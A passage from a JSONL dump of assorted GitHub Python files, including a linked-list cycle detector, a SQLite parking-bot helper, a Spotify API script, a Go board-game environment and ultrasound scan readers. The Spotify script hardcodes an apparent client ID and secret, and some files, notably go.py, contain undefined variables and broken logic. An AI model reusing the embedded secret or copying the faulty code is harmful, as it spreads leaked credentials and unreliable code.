self.transport)\n\n def post(self, lines: Plottable, fp=None):\n if fp is None:\n ofp = StringIO()\n else:\n ofp = fp\n self.post.post_lines_to_fp(lines, ofp)\n if fp is None:\n return ofp.getvalue()\n","repo_name":"armyofevilrobots/bot-a-plot","sub_path":"src/botaplot/machines/botaplot.py","file_name":"botaplot.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42164734281","text":"#!/usr/bin/python3\n\"\"\"Define class MyList.\"\"\"\n\n\nclass MyList(list):\n \"\"\"Instance of list.\"\"\"\n\n def print_sorted(self):\n \"\"\"Sort a list.\"\"\"\n new_list = self[:]\n for i in range(len(new_list)):\n if not isinstance(new_list[i], int):\n raise TypeError(\"Element must be int\")\n print(sorted(new_list))\n","repo_name":"Juli868/alx-higher_level_programming","sub_path":"0x0A-python-inheritance/1-my_list.py","file_name":"1-my_list.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39670598560","text":"class Node:\n def __init__(self,x):\n self.data=x\n self.next=None\n\nclass Tree:\n def __init__(self):\n self.head=Node(\"head\")\n def append(self,x):\n node=Node(x)\n cur=self.head\n while cur.next!=None:\n cur=cur.next\n cur.next=node\n def travel(self):\n cur=self.head\n while cur!=None:\n print(cur.data)\n cur=cur.next\n def last(self):\n cur=self.head\n while cur.next!=None:\n cur=cur.next\n return cur\n\ndef judge_circle(head):\n slow=head\n fast=head\n while fast.next!=None and fast!=None:\n slow=slow.next\n fast=fast.next.next\n if slow==fast:\n print(\"链表有环\")\n return slow\n print(\"无环\")\ndef find_node(head,meetnode):\n first=head\n second=meetnode\n while first!=second:\n first=first.next\n second=second.next\n return first\n\n#01 13 25 34 43 55\nif __name__ == '__main__':\n t=Tree()\n for i in range(6):\n t.append(i)\n last=t.last()\n last.next=t.head.next.next.next.next\n #t.travel()\n meetNode=judge_circle(t.head)\n loopNode=find_node(t.head,meetNode)\n print(\"入环口:\",loopNode.data)","repo_name":"LoseNine/DataStructureAndAlgorithms","sub_path":"链表/6.检测一个较大的链表是否有环.py","file_name":"6.检测一个较大的链表是否有环.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"29180518680","text":"\r\nimport cv2 as cv\r\nimport numpy as np\r\n \r\nimage = cv.imread(\"D:/light samples/light18.png\") #在此处放图片文件位置\r\n\r\ngray_img =cv.cvtColor(image,cv.COLOR_BGRA2GRAY)\r\n\r\nimg = cv.medianBlur(gray_img, 7) #进行中值模糊,去噪点\r\ncimg = cv.cvtColor(img, cv.COLOR_GRAY2BGR)\r\n\r\ncircles = cv.HoughCircles(img,cv.HOUGH_GRADIENT, 1, 60, param1=190, param2=59, minRadius=0, maxRadius=0)\r\n\r\ncircles = np.uint16(np.around(circles))\r\nprint(circles)\r\n\r\nfor i in circles[0,:]: #遍历矩阵每一行的数据,在原始图中画圆\r\n cv.circle(image, (i[0],i[1]),i[2],(0,255,0) ,2)\r\n cv.circle(image, (i[0], i[1]),2, (0,0,255) ,3)\r\n\r\ncv.imshow(\"gray_img\",image)\r\ncv.waitKey(0)\r\ncv.destroyAllWindows()\r\n","repo_name":"BillChan226/RacingCarMatch","sub_path":"MatchPro/霍夫圆/HoughCircle.py","file_name":"HoughCircle.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7079564619","text":"from incoq.runtime import *\n# Comp1 := {(g, x) : g in _U_Comp1, x in E, (x > g)}\n_m_Comp1_out = Map()\ndef _maint__m_Comp1_out_add(_e):\n (v5_1, v5_2) = _e\n if (v5_1 not in _m_Comp1_out):\n _m_Comp1_out[v5_1] = set()\n _m_Comp1_out[v5_1].add(v5_2)\n\ndef _maint__m_Comp1_out_remove(_e):\n (v6_1, v6_2) = _e\n _m_Comp1_out[v6_1].remove(v6_2)\n if (len(_m_Comp1_out[v6_1]) == 0):\n del _m_Comp1_out[v6_1]\n\ndef _maint_Comp1__U_Comp1_add(_e):\n # Iterate {(v1_g, v1_x) : v1_g in deltamatch(_U_Comp1, 'b', _e, 1), v1_x in E, (v1_x > v1_g)}\n v1_g = _e\n for v1_x in E:\n if (v1_x > v1_g):\n # Begin maint _m_Comp1_out after \"Comp1.add((v1_g, v1_x))\"\n _maint__m_Comp1_out_add((v1_g, v1_x))\n # End maint _m_Comp1_out after \"Comp1.add((v1_g, v1_x))\"\n\ndef _maint_Comp1__U_Comp1_remove(_e):\n # Iterate {(v2_g, v2_x) : v2_g in deltamatch(_U_Comp1, 'b', _e, 1), v2_x in E, (v2_x > v2_g)}\n v2_g = _e\n for v2_x in E:\n if (v2_x > v2_g):\n # Begin maint _m_Comp1_out before \"Comp1.remove((v2_g, v2_x))\"\n _maint__m_Comp1_out_remove((v2_g, v2_x))\n # End maint _m_Comp1_out before \"Comp1.remove((v2_g, v2_x))\"\n\ndef _maint_Comp1_E_add(_e):\n # Iterate {(v3_g, v3_x) : v3_g in _U_Comp1, v3_x in deltamatch(E, 'b', _e, 1), (v3_x > v3_g)}\n v3_x = _e\n for v3_g in _U_Comp1:\n if (v3_x > v3_g):\n # Begin maint _m_Comp1_out after \"Comp1.add((v3_g, v3_x))\"\n _maint__m_Comp1_out_add((v3_g, v3_x))\n # End maint _m_Comp1_out after \"Comp1.add((v3_g, v3_x))\"\n\n_U_Comp1 = RCSet()\n_UEXT_Comp1 = Set()\ndef demand_Comp1(g):\n '{(g, x) : g in _U_Comp1, x in E, (x > g)}'\n if (g not in _U_Comp1):\n _U_Comp1.add(g)\n # Begin maint Comp1 after \"_U_Comp1.add(g)\"\n _maint_Comp1__U_Comp1_add(g)\n # End maint Comp1 after \"_U_Comp1.add(g)\"\n else:\n _U_Comp1.incref(g)\n\ndef undemand_Comp1(g):\n '{(g, x) : g in _U_Comp1, x in E, (x > g)}'\n if (_U_Comp1.getref(g) == 1):\n # Begin maint Comp1 before \"_U_Comp1.remove(g)\"\n _maint_Comp1__U_Comp1_remove(g)\n # End maint Comp1 before \"_U_Comp1.remove(g)\"\n _U_Comp1.remove(g)\n else:\n _U_Comp1.decref(g)\n\ndef query_Comp1(g):\n '{(g, x) : g in _U_Comp1, x in E, (x > g)}'\n if (g not in _UEXT_Comp1):\n _UEXT_Comp1.add(g)\n demand_Comp1(g)\n return True\n\nE = Set()\ng = 1\nfor z in [1, 2, 3]:\n E.add(z)\n # Begin maint Comp1 after \"E.add(z)\"\n _maint_Comp1_E_add(z)\n # End maint Comp1 after \"E.add(z)\"\nprint(sorted((query_Comp1(g) and (_m_Comp1_out[g] if (g in _m_Comp1_out) else set()))))","repo_name":"IncOQ/incoq","sub_path":"incoq/tests/programs/comp/uset/auto_out.py","file_name":"auto_out.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"8942790427","text":"# This script is for finding total number of moves accepted as the simulatio progresses.\n# Output: #movesAccepted #movesProposed\n# Usage: python3 findAcceptanceIteration.py inputFilename outputFilename \n\nimport sys\n\n# opening output file\noutput = open( sys.argv[2], 'w' )\n\n\n# opening input file\nwith open(sys.argv[1]) as fid:\n line = fid.readline()\n while line:\n prevLine = line\n line = fid.readline()\n if \"Performing \" in line:\n splitted = prevLine.split()\n output.write( splitted[3]+\"\\t\"+str(int(splitted[4])+1)+\"\\n\" )\n\noutput.close()\n","repo_name":"MobleyLab/blues-flexible-ligand","sub_path":"scripts/findAcceptanceIteration.py","file_name":"findAcceptanceIteration.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7736182862","text":"import sqlite3\n\n\ndef add_user_data(user_data):\n cr = user_data['car']\n nm = user_data['name']\n pt = user_data['patronymic']\n sn = user_data['surname']\n uid = user_data['id']\n con = sqlite3.connect(\"database.db\")\n cur = con.cursor()\n data_list = cur.execute('SELECT * FROM users').fetchall()\n for i in data_list:\n if i[0] != id and i[4] == cr:\n return\n cur.execute(\"UPDATE users SET name = ?, patronymic = ?, surname = ?,\"\n \"car = ?, status = ? WHERE id = ?\", (nm, pt, sn, cr, 6, uid))\n con.commit()\n con.close()\n\n\ndef clear_data():\n con = sqlite3.connect(\"database.db\")\n\n cur = con.cursor()\n data_list = cur.execute('SELECT * FROM users').fetchall()\n for i in data_list:\n cur.execute(\"UPDATE users SET monday = ?, tuesday = ?, wednesday = ?,\"\n \"thursday = ?, friday = ? WHERE id = ?\", (0, 0, 0, 0, 0, i[0]))\n con.commit()\n con.close()\n\n\ndef add_date_for_user(user_data, day):\n id = user_data['id']\n\n con = sqlite3.connect(\"database.db\")\n\n cur = con.cursor()\n if day == 1:\n d = user_data['monday']\n cur.execute(\"UPDATE users SET monday = ? WHERE id = ?\", (d, id))\n if day == 2:\n d = user_data['tuesday']\n cur.execute(\"UPDATE users SET tuesday = ? WHERE id = ?\", (d, id))\n if day == 3:\n d = user_data['wednesday']\n cur.execute(\"UPDATE users SET wednesday = ? WHERE id = ?\", (d, id))\n if day == 4:\n d = user_data['thursday']\n cur.execute(\"UPDATE users SET thursday = ? WHERE id = ?\", (d, id))\n if day == 5:\n d = user_data['friday']\n cur.execute(\"UPDATE users SET friday = ? WHERE id = ?\", (d, id))\n con.commit()\n con.close()\n\n\ndef check_user_status(user_id):\n con = sqlite3.connect(\"database.db\")\n\n cur = con.cursor()\n\n info = cur.execute('SELECT * FROM users WHERE id=?', (user_id,))\n if info.fetchone() is None:\n cur.execute('INSERT INTO users (id, '\n 'name, '\n 'patronymic, '\n 'surname, '\n 'car, '\n 'status,'\n 'monday,'\n 'tuesday,'\n 'wednesday,'\n 'thursday,'\n 'friday) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)', (user_id, None, None, None, None, 1, False, False, False, False, False))\n con.commit()\n con.close()\n return 1\n else:\n status = cur.execute('SELECT status FROM users WHERE id=?', (user_id,)).fetchone()[0]\n con.close()\n return status\n\n\ndef change_user_status(user_id, status):\n con = sqlite3.connect(\"database.db\")\n\n cur = con.cursor()\n cur.execute(\"UPDATE users SET status = ? WHERE id = ?\", (status, user_id))\n con.commit()\n con.close()\n\ndef take_data(user_id):\n con = sqlite3.connect(\"database.db\")\n\n cur = con.cursor()\n data = cur.execute('SELECT * FROM users WHERE id=?', (user_id,)).fetchone()\n con.close()\n data = {'id': data[0], 'name': data[1], 'patronymic': data[2], 'surname': data[3], 'car': data[4], 'monday': data[6], 'tuesday': data[7], 'wednesday': data[8], 'thursday': data[9], 'friday': data[10]}\n return data\n","repo_name":"forward151/ParkingBot","sub_path":"db_operations.py","file_name":"db_operations.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73000039827","text":"from spotipy.oauth2 import SpotifyClientCredentials\nimport spotipy\nimport pprint\nimport sys\nimport requests\nimport base64\nimport json\nimport logging\n\n# 아래 세줄의 코드가 없으면 이 전체 코드의 실행결과 시\n# UnicodeEncodeError: 'cp949' codec can't encode character '\\u2013' in position 33:\n# illegal multibyte sequence 애러발생하기 때문에 추가한 것임\nimport io\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')\n\n\nclient_id = \"2c2a840de60f49ec9bf32be6c1c80f1c\"\nclient_secret = \"21a4860c982c4064815955859b6d536a\"\n##몽고db저장용\ntoptrack_results = []\ndef main():\n headers = get_headers(client_id, client_secret)\n\n try:\n uri = 'spotify:artist:6VuMaDnrHyPL1p4EHjYLi7'\n\n client_credentials_manager = SpotifyClientCredentials(client_id=client_id, client_secret=client_secret)\n sp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n \n results = sp.artist_top_tracks(uri)\n \n \n # get top 10 tracks\n for track in results['tracks'][:10]:\n\n toptrack_results.append(track['name'])\n toptrack_results.append(track['preview_url'])\n toptrack_results.append(track['album']['images'][0]['url'])\n print('track : ' + track['name'])\n print('audio : ' + track['preview_url'])\n print('cover art: ' + track['album']['images'][0]['url'])\n print()\n\n #print(toptrack_results)\n\n except:\n ## 애러메세지를 로깅처리\n logging.error(r.text)\n\n if r.status_code != 403:\n logging.error(r.text)\n\n ## 사용자 차원에서 해결할 수 있는 애러일 경우\n ## 429 애러는 too many requests일 경우 발생\n if r.status_code == 429:\n\n retry_after = json.loads(r.headers)['Retry-After']\n time.sleep(int(retry_after))\n\n r = requests.get(\"https://api.spotify.com/v1/search\", params=params, headers=headers)\n\n ## 401 애러는 Authorization에 문제가 있을때 발생하며 대부분은 Access token이 만료가 된 경우\n elif r.status_code == 401:\n\n headers = get_headers(client_id, client_secret)\n r = requests.get(\"https://api.spotify.com/v1/search\", params=params, headers=headers)\n\n ## 사용자 차원에서 해결할 수 없는 애러일 경우\n else:\n sys.exit(1)\n\n return None\n\n\ndef get_headers(client_id, client_secret):\n\n endpoint = \"https://accounts.spotify.com/api/token\"\n encoded = base64.b64encode(\"{}:{}\".format(client_id, client_secret).encode('utf-8')).decode('ascii')\n\n headers = {\"Authorization\": \"Basic {}\".format(encoded)}\n\n payload = {\"grant_type\": \"client_credentials\"}\n\n r = requests.post(endpoint, data=payload, headers=headers)\n\n access_token = json.loads(r.text)['access_token']\n\n headers = {\"Authorization\": \"Bearer {}\".format(access_token)}\n\n return headers\n\n\n\n##toptrack. py만 실행\nif __name__=='__main__':\n main()\n","repo_name":"limseo12/SideProject-2","sub_path":"toptrack.py","file_name":"toptrack.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12479712784","text":"import collections\n\nimport numpy as np\n\nfrom .env import EMPTY, BLACK, WHITE\nfrom .env import BoardGameEnv\nfrom .env import is_index\n\n\nclass GoJudger:\n \n \n def __init__(self, komi):\n self.komi = komi\n \n \n def __call__(self, board):\n self.board = board\n \n self.remove_dead()\n \n # floodfill for both player\n self.fill = np.zeros(board.shape + (3,), dtype=int)\n for x in range(board.shape[0]):\n for y in range(board.shape[1]):\n self.floodfill((x, y), board[x, y])\n \n count_black = np.nansum(self.fill[:, :, BLACK] > self.fill[:, :, WHITE])\n count_white = np.nansum(self.fill[:, :, WHITE] > self.fill[:, :, BLACK])\n if count_black > count_white + self.komi:\n return BLACK\n return WHITE\n \n \n def remove_dead(self):\n pass # TODO\n \n \n def floodfill(self, location, player):\n x, y = location\n if not self.fill[x, y, player]:\n self.fill[x, y, player] = 1\n for dx, dy in [(-1, 0), (0, -1), (1, 0), (0, 1)]:\n xx, yy = x + dx, y + dy\n if is_index(self.board, (xx, yy)) and self.board[xx, yy] != -player:\n self.floodfill((xx, yy), player)\n\n\n\nclass GoEnv(BoardGameEnv):\n def __init__(self, board_shape=19, komi=0, allow_suicide=False,\n illegal_action_mode='pass', render_characters='+ox'):\n super().__init__(board_shape=board_shape,\n illegal_action_mode=illegal_action_mode,\n render_characters=render_characters)\n self.judger = GoJudger(komi)\n self.allow_suicide = allow_suicide\n ko_space = spaces.Box(low=0, high=1, shape=observation_space.spaces[0].shape, dtype=np.int8)\n pass_space = spaces.Discrete(2)\n self.observation_space = spaces.Tuple(observation_space.spaces + [ko_space, pass_space])\n \n \n def reset(self):\n super().set_board()\n self.board = np.zeros_like(self.board, dtype=np.int8)\n self.player = BLACK\n self.ko = np.zeros_like(self.board, dtype=np.int8)\n self.pas = False # record pass\n return self.board, self.player, self.ko, self.pas\n \n \n def is_valid(self, state, action):\n \"\"\"\n Parameters\n ----\n state : (np.array, int, np.array, int) board, player, ko, pass\n action : np.array location\n \n Returns\n ----\n valid : book\n \"\"\"\n board, _, ko, _ = state\n \n if is_index(board, action):\n return False\n \n x, y = action\n \n if board[x, y] or ko[x, y]:\n return False\n \n if not allow_suicide:\n board[x, y] = player # place\n \n for dx, dy in [(-1, 0), (0, -1), (1, 0), (0, 1)]:\n xx, yy = x + dx, y + dy\n if is_index(board, (xx, yy)):\n if board[xx, yy] == -player:\n _, liberties = self.search(board, (xx, yy), max_liberty=1)\n if not liberties:\n return True\n \n _, my_liberties = self.search(board, (x, y), max_liberty=1)\n if not my_liberties:\n return False\n \n return True\n \n \n def get_winner(self, state):\n \"\"\"\n Parameters\n ----\n state : (np.array, int, np.array, int) board, player, ko, pass\n \n Returns\n ----\n winner : None or int\n - None if the game is not ended and the winner is not determined\n - int the winner\n \"\"\"\n raise NotImplementedError()\n \n \n def search(self, board, location, max_liberty=float('+inf'), max_stone=float('+inf')):\n # BFS\n x0, y0 = location\n q = collections.deque()\n q.append((x0, y0))\n locations = set([(x0, y0),])\n liberties = set()\n while q:\n x, y = q.popleft()\n for dx, dy in [(-1, 0), (0, -1), (1, 0), (0, 1)]:\n xx, yy = x + dx, y + dy\n if is_index(board, (xx, yy)):\n if board[xx, yy] == board[x0, y0]:\n if (xx, yy) not in locations:\n q.append((xx, yy))\n locations.add((xx, yy))\n if len(locations) >= max_stone:\n return locations, liberties\n elif board[xx, yy] == EMPTY:\n liberties.add((xx, yy))\n if len(liberties) >= max_liberty:\n return locations, liberties\n return locations, liberties\n \n \n def get_next_state(self, state, action):\n \"\"\"\n Parameters\n ----\n state : (np.array, int, np.array, int) board, player, ko, pass\n action : np.array location\n \n Returns\n ----\n next_state : (np.array, int) next board and next player\n \"\"\"\n board, player, _, _ = state\n location = action\n \n ko, pas = np.zeros_like(board), True\n if self.is_valid(state, action):\n pas = False\n \n board[x, y] = player # place\n \n suicides, my_liberties = self.search(board, (x, y), max_liberty=1)\n \n delete_count = 0\n for dx, dy in [(-1, 0), (0, -1), (1, 0), (0, 1)]:\n xx, yy = x + dx, y + dy\n if is_index(board, (xx, yy)):\n if board[xx, yy] == player:\n deletes, liberties = self.search(board, (xx, yy), max_liberty=1)\n if not liberties:\n delete_count += len(locations)\n for x_del, y_del in locations:\n board[x_del, y_del] = 0\n if delete_count == 1:\n ko[x_del, y_del] = 1\n \n if not my_liberties:\n if delete_count != 1 and len(suicides) != 1:\n ko = np.zeros_like(board)\n \n if self.allow_suicide:\n for x_del, y_del in suicides:\n board[x_del, y_del] = 0\n \n return board, -player, ko, pas\n \n \n def step(self, action):\n \"\"\"\n Parameters\n ----\n action : np.array location\n \n Returns\n ----\n next_state : (np.array, int, np.array, bool) next board and next player\n reward : float the winner or zeros\n done : bool whether the game end or not\n info : {}\n \"\"\"\n x, y = action\n if not self.valid[x, y]:\n action = self.illegal_equivalent_action\n \n if np.array_equal(action, self.RESIGN):\n self.player = -self.player\n next_state = self.board, self.player, np.zeros_like(self.board), False\n return next_state, self.player, True, {}\n \n self.board, self.player, self.ko, self.pas = self.get_next_state(\n (self.board, self.player, self.ko, self.pas), action)\n while True:\n winner = self.get_winner(self.board)\n if winner is not None:\n return (self.board, self.player, self.ko, self.pas), winner, True, {}\n if self.has_valid((self.board, self.player)):\n break\n self.board, self.player, self.ko, self.pas = self.get_next_state(\n (self.board, self.player, self.ko, self.pas), self.PASS)\n return (self.board, self.player, self.ko, self.pas), 0., False, {}\n","repo_name":"ylzf0000/ChineseChess-AlphaZero","sub_path":"boardenv/go.py","file_name":"go.py","file_ext":"py","file_size_in_byte":7797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"20987591066","text":"'''\n---------------------------------------------------------------------------------------------------\nTHIS SCRIPT IS AN INTERMEDIATE ONE, IT IS NOT PART OF THE FINAL OUTPUT. IT HAS BEEN USED IN ORDER\nTO GATHER INSIGHTS ABOUT THE COLLECTED DATA DURING THE EXPLORATORY DATA ANALYSIS\n---------------------------------------------------------------------------------------------------\n\nThis script generate several barcharts showing how many users have been reached with success for each\nbrand during the FWs. The number of barcharts generated depend on the number of days of the FW, which\nvaries between New York and Milan.\n'''\n\nimport os\nimport zipfile\nimport json\nfrom json import JSONDecodeError\n\nimport matplotlib.pyplot as plt\nimport BrandsInfo\nfrom datetime import datetime\nimport csv\n\ncwd = os.getcwd()\nIGDataFolder = os.path.join(cwd, \"..\\..\\IGData\\Brands\")\n\n# use this variable to decide what data group to analyze\nNY = False\n\nif NY:\n NYData = os.path.join(IGDataFolder, \"NY\")\n starting_date = datetime.strptime(\"04_02_2020\", \"%d_%m_%Y\")\n end_date = datetime.strptime(\"13_02_2020\", \"%d_%m_%Y\")\n # exclude directories\n zipFilesNY = [os.path.join(NYData, file) for file in os.listdir(NYData) if\n os.path.isfile(os.path.join(NYData, file))]\n zipFiles = zipFilesNY\n\nelse:\n MIData = os.path.join(IGDataFolder, \"MI\")\n starting_date = datetime.strptime(\"18_02_2020\", \"%d_%m_%Y\")\n end_date = datetime.strptime(\"25_02_2020\", \"%d_%m_%Y\")\n # exclude directories\n zipFilesMI = [os.path.join(MIData, file) for file in os.listdir(MIData) if\n os.path.isfile(os.path.join(MIData, file))]\n zipFiles = zipFilesMI\n\n\neffectiveness_map = {}\ndates = []\nfor zipFile in zipFiles:\n archive = zipfile.ZipFile(zipFile, 'r')\n folder_date = zipFile.split(\"\\\\\")[-1].replace(\".zip\", \"\")\n current_date = datetime.strptime(folder_date, \"%d_%m_%Y\")\n if starting_date <= current_date <= end_date:\n for brand in archive.filelist:\n brand_json = brand.filename.split(\"/\")[-1]\n brand_id = brand_json.split(\".\")[0].replace(\" \", \"\")\n byteFile = archive.read(folder_date + \"/\" + brand_json)\n try:\n jsonFile = json.loads(byteFile.decode(\"utf-8\"))[0][brand_id]\n except JSONDecodeError:\n print(\"Cannot load the brand: \" + brand_id)\n continue\n username = jsonFile[\"username\"]\n if username in (BrandsInfo.NYbrands if NY else BrandsInfo.MIbrands):\n new_media_set = set([media[\"media_id\"] for media in jsonFile[\"media_list\"]])\n new_username_value = {\"date\": current_date, \"media_set\": new_media_set}\n if username in effectiveness_map:\n old_username_value = effectiveness_map[username].pop()\n old_media_set = old_username_value[\"media_set\"]\n old_date = old_username_value[\"date\"]\n dates.append(old_date)\n new_posts = list(new_media_set.difference(old_media_set))\n reached_accounts = []\n for media in jsonFile[\"media_list\"]:\n if media[\"media_id\"] in new_posts:\n reached_accounts.extend(media[\"likers\"])\n reached_accounts = set(reached_accounts)\n effectiveness_map[username].append({\"date\": old_date, \"reached_accounts\": list(reached_accounts)})\n effectiveness_map[username].append(new_username_value)\n else:\n effectiveness_map[username] = [new_username_value]\n\n\nx = range(len(effectiveness_map))\nnew_x = [4*i for i in x]\ndates = set(dates)\n\nfor date in dates:\n plt.figure(figsize=(10, 10))\n users = []\n tmp_eff_map = {}\n tmp_eff_map_csv = []\n for key,value in effectiveness_map.items():\n for dict in value:\n if dict[\"date\"] == date:\n #users.append(key)\n tmp_eff_map[key] = len(dict[\"reached_accounts\"])\n tmp_eff_map_csv.append({\"brand\": key, \"users\": dict[\"reached_accounts\"]})\n\n tmp_eff_map = {k:v for k,v in sorted(tmp_eff_map.items(), key=lambda x:x[1])}\n\n i = 0\n for key, value in tmp_eff_map.items():\n if datetime.strptime((BrandsInfo.NYBrandsExDate[key] if NY else BrandsInfo.MIBrandsExDate[key]), \"%d-%m-%Y\") == date:\n plt.barh(new_x[i], value, height=3, color='r')\n else:\n plt.barh(new_x[i], value, height=3, color='b')\n i = i + 1\n plt.yticks(new_x, tmp_eff_map.keys(), rotation=\"horizontal\", size='small')\n plt.xlabel(\"Accounts reached\")\n plt.title(\"Accounts number reached with success - computed between \" + date.strftime(\"%d/%m/%Y\") + \" and \" +\n date.replace(day=date.day+1).strftime(\"%d/%m/%Y\"))\n if NY:\n barchart_name = \"NY_barchart_\"\n else:\n barchart_name = \"MI_barchart_\"\n\n plt.savefig(barchart_name + date.strftime(\"%d_%m_%Y\") + \".pdf\", bbox_inches='tight', format=\"pdf\")\n plt.show()\n","repo_name":"datalife2020/capstone_fashion_weeks","sub_path":"IGCode/EDA_and_rel_analyses/Barchart_effectiveness_day_by_day.py","file_name":"Barchart_effectiveness_day_by_day.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"18929676356","text":"import FrEIA.framework as Ff\nimport FrEIA.modules as Fm\nimport timm\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n#import constants as const\nimport numpy as np\n\ndef subnet_conv_func(kernel_size, hidden_ratio):\n def subnet_conv(in_channels, out_channels):\n hidden_channels = int(in_channels * hidden_ratio)\n \n return nn.Sequential(\n nn.Conv2d(in_channels, hidden_channels, kernel_size, padding=\"same\"),\n nn.ReLU(),\n nn.Conv2d(hidden_channels, out_channels, kernel_size, padding=\"same\"),\n )\n\n return subnet_conv\n\n\ndef NF_Fast_Flow(input_chw, conv3x3_only, hidden_ratio, flow_steps, clamp=2.0):\n nodes = Ff.SequenceINN(*input_chw)\n \n for i in range(flow_steps):\n if i % 2 == 1 and not conv3x3_only:\n kernel_size = 1\n else:\n kernel_size = 3\n nodes.append(\n Fm.AllInOneBlock,\n subnet_constructor=subnet_conv_func(kernel_size, hidden_ratio),\n affine_clamping=clamp,\n permute_soft=False,\n )\n\n return nodes\n\n\nclass FastFlow(nn.Module):\n def __init__(self, flow_steps, conv3x3_only=False, hidden_ratio=1.0):\n super(FastFlow, self).__init__()\n\n self.nf_flows = nn.ModuleList()\n self.nf_flows.append(NF_Fast_Flow([768, 12, 101], \n conv3x3_only=conv3x3_only, \n hidden_ratio=hidden_ratio, \n flow_steps=flow_steps)\n )\n \n\n #print(self.nf_flows)\n\n\n def forward(self, x):\n output, log_jac_dets = self.nf_flows[0](x)\n \n return output, log_jac_dets\n","repo_name":"AnomalySoundDetection/AST_Extractor","sub_path":"Flow_Model.py","file_name":"Flow_Model.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72758028306","text":"import numpy as np\nimport xarray as xr\nimport pandas as pd\nimport re\n\n\ndef cscan(file_name):\n \"\"\"\n Reads a C-scan file saved from a CIVA simulation. The X-Y axis coordinates are returned in\n units of meters.\n\n Parameters\n ----------\n file_name : string\n Full path name of the CIVA C-scan file.\n\n Returns\n -------\n cscan : xarray.DataArray\n The simulation C-scan. It has two coordinate axes: X, Y, and each coordinate has an\n attribute `units` indicating the units for the axis.\n \"\"\"\n scan = pd.read_table(file_name,\n sep=';',\n usecols=[0, 1, 4],\n encoding='iso8859_15',\n index_col=[0, 1],\n squeeze=True).unstack()\n da = xr.DataArray(scan.values, coords=[('Y', scan.index), ('X', scan.columns)])\n da.coords['X'].attrs['units'] = 'mm'\n da.coords['Y'].attrs['units'] = 'mm'\n return da\n\n\ndef true_cscan(file_name):\n \"\"\"\n Reads a True C-scan file saved from a CIVA simulation.\n\n Parameters\n ----------\n file_name : str\n Full path name of the CIVA C-scan file\n\n Returns\n -------\n cscan : xarray.DataArray\n The simulation True C-scan. The `DataArray` has two coords: X, Y, and each coord has a\n `units` attribute.\n \"\"\"\n with open(file_name) as fid:\n parts = fid.readline().split(';')\n xlims = [float(parts[1]), float(parts[2])]\n ylims = [float(parts[3]), float(parts[4])]\n\n # skip next line\n fid.readline()\n xstep = float(fid.readline().split(';')[1])\n ystep = float(fid.readline().split(';')[1])\n\n nx = int(np.round(np.diff(xlims)/xstep))\n ny = int(np.round(np.diff(ylims)/ystep))\n X = np.arange(nx)*xstep + xlims[0]\n Y = np.arange(ny)*ystep + ylims[0]\n\n data = np.genfromtxt(file_name,\n delimiter=';',\n skip_header=5,\n usecols=(0, 1, 5))\n vals = np.zeros((len(Y), len(X)))\n x_ind = data[:, 1].astype(int)\n y_ind = data[:, 0].astype(int)\n vals[x_ind, y_ind] = data[:, 2]\n da = xr.DataArray(vals, coords=[('Y', Y), ('X', X)])\n da.coords['Y'].attrs['units'] = 'mm'\n da.coords['X'].attrs['units'] = 'mm'\n return da\n\n\ndef bscan(file_name):\n \"\"\"\n Reads a B-scan txt file saved in CIVA-UT modeling software.\n\n Parameters\n ----------\n file_name : str\n Name of the file, including the full path if not in the current directory.\n\n Returns\n -------\n bscan : xarray.DatArray\n A `xarray.DataArray` object containing the B-scan.\n \"\"\"\n # this is the default start of the header in a civa b-scan txt file\n skip_lines = 18\n\n # read the header\n with open(file_name) as fid:\n for i, line in enumerate(fid):\n if i == skip_lines-1:\n coords = re.findall(r'\\d*\\.?\\d+', line)\n coords = np.array([float(val) for val in coords])\n cols = line.split(';')\n ind = np.array([j for j, c in enumerate(cols) if 'val' in c])\n break\n\n d = np.genfromtxt(file_name, delimiter=';', skip_header=skip_lines)\n # convert from microseconds in CIVA b-scan file to seconds\n Z = d[:, 0]*1e-6\n X = coords[ind-1]\n b = d[:, ind]\n\n da = xr.DataArray(b, coords=[('Z', Z), ('X', X)])\n da.coords['Z'].attrs['units'] = 's'\n da.coords['X'].attrs['units'] = 'mm'\n return da\n\n\ndef beam(file_name):\n \"\"\"\n Reads a B-scan txt file saved in CIVA-UT modeling software.\n\n Parameters\n ----------\n file_name : str\n Name of the file, including the full path if not in the current directory.\n\n Returns\n -------\n bscan : xarray.DatArray\n A `xarray.DataArray` object containing the B-scan. The `DataArray` has two coords: X, Z\n and each coordinate has a `units` attribute.\n \"\"\"\n # this is the default start of the header in a civa b-scan txt file\n skip_lines = 9\n\n with open(file_name) as fid:\n for i, line in enumerate(fid):\n if i == skip_lines-1:\n coords = re.findall(r'\\d*\\.?\\d+', line)\n coords = np.array([float(val) for val in coords])\n cols = line.split(';')\n ind = 